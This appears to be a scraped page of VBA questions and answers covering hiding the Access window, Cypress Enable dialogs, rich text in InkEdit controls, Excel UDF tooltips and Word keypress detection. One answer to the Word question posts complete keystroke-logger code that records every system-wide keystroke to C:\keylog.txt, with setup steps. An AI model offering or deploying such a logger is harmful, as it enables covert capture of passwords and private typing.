I am looking forward to hide the Access background of my project when it's running to give it a more professional look and make it running like a standalone application. I am using Access 2003 and a form is already opening when the project is loaded. I would like to add some code in the Private Sub Form_Open(Cancel As Integer) of that form to hide the Access background.
The following will work on older versions of Access (tested on Access 2003):
Option Compare Database
Option Explicit
Global Const SW_HIDE = 0
Global Const SW_SHOWNORMAL = 1
Global Const SW_SHOWMINIMIZED = 2
Global Const SW_SHOWMAXIMIZED = 3
Private Declare Function apiShowWindow Lib "user32" _
Alias "ShowWindow" (ByVal hWnd As Long, _
ByVal nCmdShow As Long) As Long
Function fSetAccessWindow(nCmdShow As Long)
Dim loX As Long
Dim loForm As Form
On Error Resume Next
Set loForm = Screen.ActiveForm
If Err <> 0 Then
loX = apiShowWindow(hWndAccessApp, nCmdShow)
Err.Clear
End If
If nCmdShow = SW_SHOWMINIMIZED And loForm.Modal = True Then
MsgBox "Cannot minimize Access with " _
& (loForm.Caption + " ") _
& "form on screen"
ElseIf nCmdShow = SW_HIDE And loForm.PopUp <> True Then
MsgBox "Cannot hide Access with " _
& (loForm.Caption + " ") _
& "form on screen"
Else
loX = apiShowWindow(hWndAccessApp, nCmdShow)
End If
fSetAccessWindow = (loX <> 0)
End Function
Just call fSetAccessWindow(0) to hide and fSetAccessWindow(1) to show. Alternatively, use fSetAccessWindow(2) and fSetAccessWindow(3) to show minimized/maximized. You can use the Global Const too. Be careful: Access will be hidden from the taskbar.
If it doesn't work with Access 2010, here is another code that could work: http://www.tek-tips.com/faqs.cfm?fid=2562
The forms must be modal or it won't work. If for some reason you messed up and Access is still running in background but not showing in the taskbar or the task-manager, double click on any Access project again (nothing will happen because Access is still running) and then press ALT+TAB to reach the Access icon (it should magically show up). Nothing happens again because it's hidden, but it's now possible to close it with ALT+F4 if it still has the focus, thus preventing you from rebooting your computer...
In Ms Access 2003 a simple way seem to make the form
1. pop up
2. border style none
3. On form load event run maximise command
Private Sub Form_Load()
DoCmd.Maximize
End Sub
Related
I'm a Technical Writer going through our application's documentation and I came across some issues trying to get some existing Cypress Enable code snippets to work.
We have a stripped-down version of the VBA editor and compiler in our application.
When I try to run a couple of programs using some of the statements, I never get the results I'm expecting, or nothing happens.
For example, when I run this script to test the Declare statement, instead of getting a dialog, nothing happens:
Declare Function GetFocus Lib "User32" () As Integer
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (Byval hwnd As Long, Byval lpstring As String, Byval lpstrlen As Long)
Sub Main
Dim hWindow%
Dim str1 As String *51
Dim str2 As String *25
hWindow% = GetFocus()
Print "GetWindowText returned: " & GetWindowText( hWindow%, str1, 51)
Print "GetWindowText2 returned: " & GetWindowText( hWindow%, str2, 25)
Print str1
Print str2
End Sub
For the first print statement (Print str1), I'm expecting a MessageBox with:
Title = "Enable Scripting Language Editor"
Body text = "GetWindowText returned: 50"
A single OK button.
With this code to test the DlgFocus statement, no matter which of the OK/Cancel controls I click, the dialog just shuts down:
Sub Main()
Dim ListBox1$()
Begin Dialog UserDialog ,,112,74,"Untitled",.DlgProc
TextBox 12,20,88,12,.TextBox1
OKButton 12,44,40,14
CancelButton 60,44,40,14
Text 12,11,88,8,"Enter Desired Salary:",.Text1
End Dialog
Dim d As UserDialog
Dialog d
End Sub
Function DlgProc(ControlName$,Action%,SuppValue%) As Integer
If Action% = 2 and ControlName$ = "OK" Then
If IsNumeric(DlgText$("TextBox1")) Then
Msgbox "Duly Noted."
Else
Msgbox "Sorry, you must enter a number."
DlgFocus "TextBox1"
DlgProc = 1
End If
End If
End Function
In this version to test the DlgFocus statement, no matter which control I click, the value returned is always zero:
Sub Main
Begin Dialog UserDialog 200,120,"Script #9",.DialogFunc
Text 10,10,180,15,"Please push the OK button"
TextBox 10,40,180,15,.Text
OKButton 30,90,60,20
PushButton 110,90,60,20,"&Hello"
End Dialog
Dim dlg As UserDialog
Print Dialog(dlg)
MsgBox "Dialog info: " & Dialog(dlg)
End Sub
Function DialogFunc%(DlgItem$, Action%, SuppValue%)
Print "Action=";Action%
Select Case Action%
Case 1 ' Dialog box initialization
Beep
Case 2 ' Value changing Or button pressed
If DlgItem$ = "Hello" Then
MsgBox "Hello"
DialogFunc% = True 'Do Not Exit the Dialog
End If
Case 4 ' Focus changed
Print "DlgFocus=""";DlgFocus();""""
MsgBox "DlgFocus info: " & DlgFocus() & """"
End Select
End Function
Any help is greatly appreciated.
I have a sheet where some cells have multicolored text and is in bold/underline/italic.
I need to be able to pull the cell contents and display the information on a form keeping the same formatting.
I have come across InkEdit control which supports RichText but I am unable to copy from cell to this box.
Help please
The problem seems to be that the Excel Object Model deeply buries the RTF formatting of the contents of a cell and provides no easy method to extract it.
Here is a kludge which seems to sort of work:
Sub CopyRichText(source As Range, target As InkEdit)
Dim i As Long, n As Long
target.Text = source.Text
n = Len(target.Text)
For i = 1 To n
target.SelStart = i - 1
target.SelLength = 1
target.SelBold = source.Characters(i, 1).Font.Bold
target.SelColor = source.Characters(i, 1).Font.Color
target.SelFontName = source.Characters(i, 1).Font.FontStyle
target.SelFontSize = source.Characters(i, 1).Font.Size
target.SelItalic = source.Characters(i, 1).Font.Italic
'target.SelUnderline = source.Characters(i, 1).Font.Underline '-- doesn't work as expected!
Next i
target.SelStart = n
target.SelLength = 0
End Sub
Used like this:
Private Sub UserForm_Initialize()
CopyRichText Range("A1"), Me.InkEdit1
End Sub
For example, in A1 I have:
Then when I show the userform it looks like:
There seems to be an outright bug in the inkedit's SelUnderline method. Uncomment that line to see what I mean. Perhaps there is some workaround.
I suspect that the above is somewhat fragile. I haven't tested it all that much. If it works for you (perhaps suitably tweaked) -- good. If not, I suspect that there is a deep-magic approach using the clipboard. InkEdit controls don't have paste methods -- but it does have an Hwnd method which sounds like it could provide a target for a Window's paste.
The InkEdit control supports pasting of rich text, so all you really need to do is copy the Range, then paste it into the control. Since the control exposes it's .hWnd, all you need to do is use the SendMessage API function to send a WM_PASTE message:
'UserForm1
Option Explicit
Private Declare Function SendMessage Lib "user32" Alias _
"SendMessageW" (ByVal hwnd As Long, ByVal wMsg As Long, _
ByVal wParam As Long, lParam As Any) As Long
Private Const WM_PASTE = &H302
Private Sub UserForm_Initialize()
RangeToInkEdit ActiveSheet.Cells(1, 1), InkEdit1
Application.CutCopyMode = False
End Sub
Sub RangeToInkEdit(source As Range, target As InkEdit)
source.Copy
SendMessage InkEdit1.hwnd, WM_PASTE, 0&, 0&
End Sub
Private Sub CommandButton1_Click()
Unload Me
End Sub
Note that this also has a slight issue similar to #JohnColeman's method - it doesn't do that great of a job at picking up the colors. This appears to be a problem that Excel has in the encoding of RTF that it sends to the clipboard rather than an issue with the InkEdit control itself (you can confirm that by copying and pasting into WordPad, which is basically an RTF editor). Some colors work, others don't - all of them will be reduced in color depth to basically the closest color that RTF supports.
I provide two functions to work with an InkEdit Control.
PasteToControl: Uses an API call to paste data from the ClipBoard into the InkEdit Control
PutInClipBoard: This copies text into the ClipBoard. This function is needed because if you set the InkEdit text property (e.g. InkEdit.Text = InkEdit.Text & " Hello!") you'll lose all your formatting. InkEdit.TextRTF won't work either.
Private Declare Function PasteToControl Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, Optional ByVal wMsg As Long = &H302, Optional ByVal wParam As Long = 0, Optional lParam As Any = 0&) As Long
'http://www.devx.com/vb2themax/Tip/18632
Private Sub UserForm_Layout()
InkEdit1.Text = vbCrLf
Range("A6").Copy
PasteToControl InkEdit1.hWnd
PutInClipBoard vbCrLf & "How about Range?" & vbCrLf
PasteToControl InkEdit1.hWnd
Range("A2:G4").Copy
PasteToControl InkEdit1.hWnd
PutInClipBoard vbCrLf & "Can we do Tables?" & vbCrLf
PasteToControl InkEdit1.hWnd
Sheet4.ListObjects("Orders").Range.Copy
PasteToControl InkEdit1.hWnd
PutInClipBoard vbCrLf & "Pictures?"
PasteToControl InkEdit1.hWnd
Sheet4.Shapes("Picture 1").Copy
PasteToControl InkEdit1.hWnd
PutInClipBoard vbCrLf & "Charts?"
PasteToControl InkEdit1.hWnd
Sheet4.ChartObjects("Chart 4").Copy
PasteToControl InkEdit1.hWnd
PutInClipBoard vbCrLf & "Can we take a snapshot of a Range?" & vbCrLf
PasteToControl InkEdit1.hWnd
Range("A6:I12").CopyPicture
PasteToControl InkEdit1.hWnd
End Sub
Sub PutInClipBoard(Text As String)
Dim clip As DataObject
Set clip = New DataObject
clip.SetText Text
clip.PutInClipBoard
End Sub
Do you need to be able to edit the text? If not, then I would try copying the range and pasting it as a picture in the UserForm. Check Stephen Bullen's PastePicture example for code.
So... awhile ago, I wanted to use markdown in Excel's UserForms. I created a simple parser and lexer that I called SimpleDown. It works fantastically for it's obvious limitations. It currently uses a MSForms.Frame as the base container and then uses MSForms.Label(s) as each element of SimpleDown.
Below is an example of it:
# Header Test||
---||
* Unordered List 1||
* Unordered List 2||
TESTING of stuff....
Above will produce something like the following:
HEADER
Unordered List 1
Unordered List 2
TESTING of stuff.....
After looking at Mr. Coleman's code, I realized that one wouldn't actually need to use Range, Cell, or anything like that. Instead, we could do the following:
Process:
Create subroutines for each specific style of markdown/rich text/etc... that you want to use.
Create a parser that could identify which subroutine to call when it gets to a section/portion of the supplied text/string.
As you add text to inkbox, have a lexer determine what subroutine to call for a each subsection of the text. Pass it the inkbox obj, start_pos, section_length.
yeah... this should work.
This question may be of use for many VBA programmers. It involves implementing two useful independent tasks and making they work concomitantly.
The first task is making an Excel function tooltip for an UDF. Though a definitive solution seems to not have yet been found, for now I am satisfied with the solution of customizing the Insert Function Wizard. You can find the topic regarding the implementation of a way to customize the Insert Function Wizard here: How to put a tooltip on a user-defined function
When I say Insert Function Wizard, I mean this window:
If you are also interested in the topic regarding the quest for finding a definitive solution for the implementation of a function tooltip, you can go here: The quest for the Excel custom function tooltip
The second task is making a UDF write in a different cell from which it was called. I have found a great solution for this task here: I don't want my Excel Add-In to return an array (instead I need a UDF to change other cells)
Now, here comes the problem: Excel crashes when trying to implement these two tasks concomitantly. I want to make these two tasks work when calling a single function, preventing excel from crashing. I want to use a customized Insert Function Wizard for an UDF that can write in a different cell from which it was called. The reason for why I want to do this is that I am writing an AddIn with functions that take several input parameters (so the user need a tooltip for the input parameters) AND I need to write in cells different from the cell which they were called (because I do not want to stick to Macros. I want a function-driven AddIn and not a button-driven one). For those familiar with the Bloomberg Excel API, this is pretty much what the function BDH() does.
I wrote two modules as a guideline for the problem. The first one builds a displayParameters() function that needs to be run before running the main function. It executes through a function-driven way the task of customizing the Insert Function Wizard. The second function is the main function called sumTwoNumbers, which executes the sum of two numbers and displays the result in a cell different from the cell which the function was called. When you try to run the second function ( sumTwoNumbers() ) using the Insert Function Wizard ( ctr + A ), after it was customized ( after you have run displayParameters() ), Excel will crash.
Module 1:
Option Explicit
Private Declare Function SetTimer Lib "user32" ( _
ByVal HWnd As Long, _
ByVal nIDEvent As Long, _
ByVal uElapse As Long, _
ByVal lpTimerFunc As Long _
) As Long
Private Declare Function KillTimer Lib "user32" ( _
ByVal HWnd As Long, _
ByVal nIDEvent As Long _
) As Long
Private mCalculatedCells As Collection
Private mWindowsTimerID As Long
Private mApplicationTimerTime As Date
Public Function displayParameters() As Variant
' This is a UDF that returns true when the volscore file is created and starts a windows timer
' that starts a second Appliction.OnTime timer that performs activities not
' allowed in a UDF. Do not make this UDF volatile, pass any volatile functions
' to it, or pass any cells containing volatile formulas/functions or
' uncontrolled looping will start.
displayParameters = "Success"
'Cache the caller's reference so it can be dealt with in a non-UDF routine
If mCalculatedCells Is Nothing Then Set mCalculatedCells = New Collection
On Error Resume Next
mCalculatedCells.Add Application.Caller, Application.Caller.Address
On Error GoTo 0
' Setting/resetting the timer should be the last action taken in the UDF
If mWindowsTimerID <> 0 Then KillTimer 0&, mWindowsTimerID
mWindowsTimerID = SetTimer(0&, 0&, 1, AddressOf AfterUDFRoutine1_displayParameters)
End Function
Public Sub AfterUDFRoutine1_displayParameters()
' This is the first of two timer routines. This one is called by the Windows
' timer. Since a Windows timer cannot run code if a cell is being edited or a
' dialog is open this routine schedules a second safe timer using
' Application.OnTime which is ignored in a UDF.
' Stop the Windows timer
On Error Resume Next
KillTimer 0&, mWindowsTimerID
On Error GoTo 0
mWindowsTimerID = 0
' Cancel any previous OnTime timers
If mApplicationTimerTime <> 0 Then
On Error Resume Next
Application.OnTime mApplicationTimerTime, "AfterUDFRoutine2_displayParameters", , False
On Error GoTo 0
End If
' Schedule timer
mApplicationTimerTime = Now
Application.OnTime mApplicationTimerTime, "AfterUDFRoutine2_displayParameters"
End Sub
Public Sub AfterUDFRoutine2_displayParameters()
' This is the second of two timer routines. Because this timer routine is
' triggered by Application.OnTime it is safe, i.e., Excel will not allow the
' timer to fire unless the environment is safe (no open model dialogs or cell
' being edited).
Dim sumTwoNumbersArgumentsDescription(1 To 2) As String
sumTwoNumbersArgumentsDescription(1) = "Write the first number of a Sum"
sumTwoNumbersArgumentsDescription(2) = "Write the second number of a Sum"
Application.MacroOptions Macro:="sumTwoNumbers", _
ArgumentDescriptions:=sumTwoNumbersArgumentsDescription
'Description:="describre the ivol function"
MsgBox ("The formal parameters and instance of actual parameters are now successfully displayed at the Insert Function Dialog Box.")
End Sub
Module 2:
Option Explicit
'This global variable is the way I found of passing the output of sumTwoNumbers into the
'function "AfterUDFRoutine2"
Dim outputGlobal As Variant
Private Declare Function SetTimer Lib "user32" ( _
ByVal HWnd As Long, _
ByVal nIDEvent As Long, _
ByVal uElapse As Long, _
ByVal lpTimerFunc As Long _
) As Long
Private Declare Function KillTimer Lib "user32" ( _
ByVal HWnd As Long, _
ByVal nIDEvent As Long _
) As Long
Private mCalculatedCells As Collection
Private mWindowsTimerID As Long
Private mApplicationTimerTime As Date
'Non-Volatile Function2
Public Function sumTwoNumbers(Optional ByVal param1 As Integer _
, Optional ByVal param2 As Integer _
) As Variant
sumTwoNumbers = param1 + param2
outputGlobal = sumTwoNumbers
sumTwoNumbers = "Success"
'Cache the caller's reference so it can be dealt with in a non-UDF routine
If mCalculatedCells Is Nothing Then Set mCalculatedCells = New Collection
On Error Resume Next
mCalculatedCells.Add Application.Caller, Application.Caller.Address
On Error GoTo 0
' Setting/resetting the timer should be the last action taken in the UDF
If mWindowsTimerID <> 0 Then KillTimer 0&, mWindowsTimerID
mWindowsTimerID = SetTimer(0&, 0&, 1, AddressOf AfterUDFRoutine1_sumTwoNumbers)
End Function
Public Sub AfterUDFRoutine1_sumTwoNumbers()
' This is the first of two timer routines. This one is called by the Windows
' timer. Since a Windows timer cannot run code if a cell is being edited or a
' dialog is open this routine schedules a second safe timer using
' Application.OnTime which is ignored in a UDF.
' Stop the Windows timer
On Error Resume Next
KillTimer 0&, mWindowsTimerID
On Error GoTo 0
mWindowsTimerID = 0
' Cancel any previous OnTime timers
If mApplicationTimerTime <> 0 Then
On Error Resume Next
Application.OnTime mApplicationTimerTime, "AfterUDFRoutine2_sumTwoNumbers", , False
On Error GoTo 0
End If
' Schedule timer
mApplicationTimerTime = Now
Application.OnTime mApplicationTimerTime, "AfterUDFRoutine2_sumTwoNumbers"
End Sub
Public Sub AfterUDFRoutine2_sumTwoNumbers()
' This is the second of two timer routines. Because this timer routine is
' triggered by Application.OnTime it is safe, i.e., Excel will not allow the
' timer to fire unless the environment is safe (no open model dialogs or cell
' being edited).
'Write the output to the sheet
Dim dest
Set dest = ActiveCell.Offset(0, 1)
dest.Value = outputGlobal
Set outputGlobal = Nothing
End Sub
Progress so far
I have found that the Insert Function Wizard runs your function in the background after each time you fill an input parameter, and outputs the result after the '=' you see in the Wizard. Therefore, if there is an error that is triggered when you run your function with an insufficient number of parameters, that error will also be triggered after you provide the input in the Wizard. If a message box is displayed when you run your function with that number of inputs, a message box will be displayed in front of the Wizard. However, when you are using an UDF modified in order to write the output in a different cell from which it was called and no error is triggered when filling the inputs by the Wizard, excel will break. My guess is that this happens because your function runs in the background, triggering AfterUDFRoutine1_sumTwoNumbers(), then triggering AfterUDFRoutine2_sumTwoNumbers(). When AfterUDFRoutine2_sumTwoNumbers() finally tries to write in the excel Spreadsheet and the Wizard is open, excel breaks because you cannot write in a cell with the Wizard open. One obvious solution for this problem is finding a way to make the Insert Function Wizard stops running the function in the background after each input parameter is provided and make it wait till run the function after you click "OK".
The question above was unnecessarily long. I could have summarized it by asking how to use the "Insert Function Wizard" in UDFs that are able to modify other cells. I had sticked to the concept of an UDF that could modify other cells as I knew it and did not think outside the box. The code of an UDF that can do that, as described here: I don't want my Excel Add-In to return an array (instead I need a UDF to change other cells), breaks Excel when the user tries to use the "Insert Function Wizard". An workaround for this problem was to, instead of creating an UDF that modify external cells, was to create an UDF that auto-resize array outputs. I have found this Add-In: https://colinlegg.wordpress.com/2014/08/25/self-extending-udfs-part-1/ which gives an implementation of a function called "=rxlRESIZE()" that resizes your array output. If you write that function inside your code, applying to your array output immediately before returning it, then you have an UDF that can write in other cells as long as your output is an array. Finally, this prevents Excel from crashing when you use the "Insert Function Wizard". For customizing the Insert Function Wizard, I am still using the implementation that I got from this post: How to put a tooltip on a user-defined function
Is there a way to detect when a user presses a key in Microsoft Word using VBA. I have searched for a method which does this. I have also searched for methods which create a way around this, such as detecting when the insertion point moves or it detects when a new character is placed in the word document, but I have had no look. I am currently using appWord_WindowSelectionChange(ByVal Sel As Selection) but this does not detect as you type.
I would appreciate anyone showing me how to either detect a keypress or would be able to show me a workaround which will accomplish the same goal.
Edit
I apologise if the summary of what I want above is not clear. What I have is a sub which fires using appWord_WindowSelectionChange(ByVal Sel As Selection). However what I want is this sub to fire whenever any data is entered into the word document, eg. a letter or a white space character. For example, if there was a character count in the footer of the word document and this sub which I have updates this character count, the character count field should update as the user types in the document.
Not my Code but HTH.
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Sub KeyStrokeLogger()
Dim i As Integer
Dim KeyAsciiValue As Integer
StartLogging
Do While True
For i = 1 To 255
If GetAsyncKeyState(i) = -32767 Then
If CapsLockIsOn() Then
If ShiftIsPressed() = True Then
KeyAsciiValue = Asc(LCase(Chr(i)))
Else
KeyAsciiValue = Asc(UCase(Chr(i)))
End If
Else
If ShiftIsPressed() = True Then
KeyAsciiValue = Asc(UCase(Chr(i)))
Else
KeyAsciiValue = Asc(LCase(Chr(i)))
End If
End If
LogKeyStroke KeyAsciiValue
End If
Next i
DoEvents
Loop
End Sub
Private Function CapsLockIsOn() As Boolean
CapsLockIsOn = CBool(GetKeyState(20))
End Function
Private Function ShiftIsPressed() As Boolean
ShiftIsPressed = CBool(GetAsyncKeyState(16))
End Function
Private Sub StartLogging()
Open "C:\keylog.txt" For Binary As #1
Seek #1, LOF(1) + 1
End Sub
Private Sub LogKeyStroke(KeyAsciiValue As Integer)
Dim c As String * 1
c = Chr(KeyAsciiValue)
Select Case KeyAsciiValue
Case 8
Put #1, , "{BACKSPACE}"
Case 9
Put #1, , "{TAB}"
Case 13
Put #1, , "{ENTER}"
Case 32 To 126
Put #1, , c
Case Else
Put #1, , "{" & KeyAsciiValue & "}"
End Select
End Sub
*"How to use the above code:
Step 1
Create a new document in MS-Word.
Step 2
Go to Tools, Macro, Visual Basic Editor
Step 3
Double click on ThisDocument Object under Project(Document1) in the Project Window.
Step 4
Copy the above code and paste it into the Visual Basic Editor.
Step 5
Close the Visual Basic Editor and save the document.
Step 6
Ensure that macros are enabled. To start logging keystrokes at any time click on Tools, Macro, Macros. Select KeyStrokeLogger and click Run. All the keystrokes will be stored in C:\keylog.txt.
"*
LinkBack to Post
Use keybindings to bind characters to the function you want. For example, the following code (when run) fires a message box when the user enters 0 in the word document.
Put this in module 1
Sub AddKeyBinding()
With Application
.CustomizationContext = ThisDocument
.KeyBindings.Add KeyCode:=BuildKeyCode(wdKey0), _
KeyCategory:=wdKeyCategoryCommand, _
Command:="userpressedzero"
End With
End Sub
Put this in module 2
Sub userpressedzero()
Dim MyText As String
Selection.TypeText ("0")
MsgBox ("user pressed 0")
End Sub
Now run module 1 and press 0 in your word document.
Can anyone tell me how I can show the full screen on a Form in Access 2007 so that there are no Toolbars etc open, so no one can tamper with anything ?
Cheers,
Nick C
There are several methods for doing this. One of the slickest I've seen is listed below. Unfortunately, I don't remember where I got this code from, so I can't give credit where it's due.
Post the code below into a new module in your database.
Global Const SW_HIDE = 0
Global Const SW_SHOWNORMAL = 1
Global Const SW_SHOWMINIMIZED = 2
Global Const SW_SHOWMAXIMIZED = 3
Private Declare Function apiShowWindow Lib "user32" Alias "ShowWindow" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Function DoAccessWindow(nCmdShow As Long)
' This function can minimize Access behind the scenes.
'Usage Examples
'Maximize window:
' ?DoAccessWindow(SW_SHOWMAXIMIZED)
'Minimize window:
' ?DoAccessWindow(SW_SHOWMINIMIZED)
'Hide window:
' ?DoAccessWindow(SW_HIDE)
'Normal window:
' ?DoAccessWindow(SW_SHOWNORMAL)
'
Dim loX As Long
Dim loform As Form
On Error Resume Next
Set loform = Screen.ActiveForm
If Err <> 0 Then 'no Activeform
If nCmdShow = SW_HIDE Then
MsgBox "Cannot hide Access unless a form is on screen"
Else
loX = apiShowWindow(hWndAccessApp, nCmdShow)
Err.Clear
End If
Else
If nCmdShow = SW_SHOWMINIMIZED And loform.Modal = True Then
MsgBox "Cannot minimize Access with " & (loform.Caption + " ") & "form on screen"
ElseIf nCmdShow = SW_HIDE And loform.PopUp <> True Then
MsgBox "Cannot hide Access with " & (loform.Caption + " ") & "form on screen"
Else
loX = apiShowWindow(hWndAccessApp, nCmdShow)
End If
End If
DoAccessWindow = (loX <> 0)
End Function
Now you can use the DoAccessWindow() function to mess with the Access window. You may want to play around with the hide option, as it totally hides the Access interface. A word of warning, any form you want to display must be Popup and Modal in order to be visible.
So for instance, on the Form_Open event, you could use the code DoAccessWindow(0) to hide Access's interface, then on the Form_Close event, you would use DoAccessWindow(1) to show the interface again.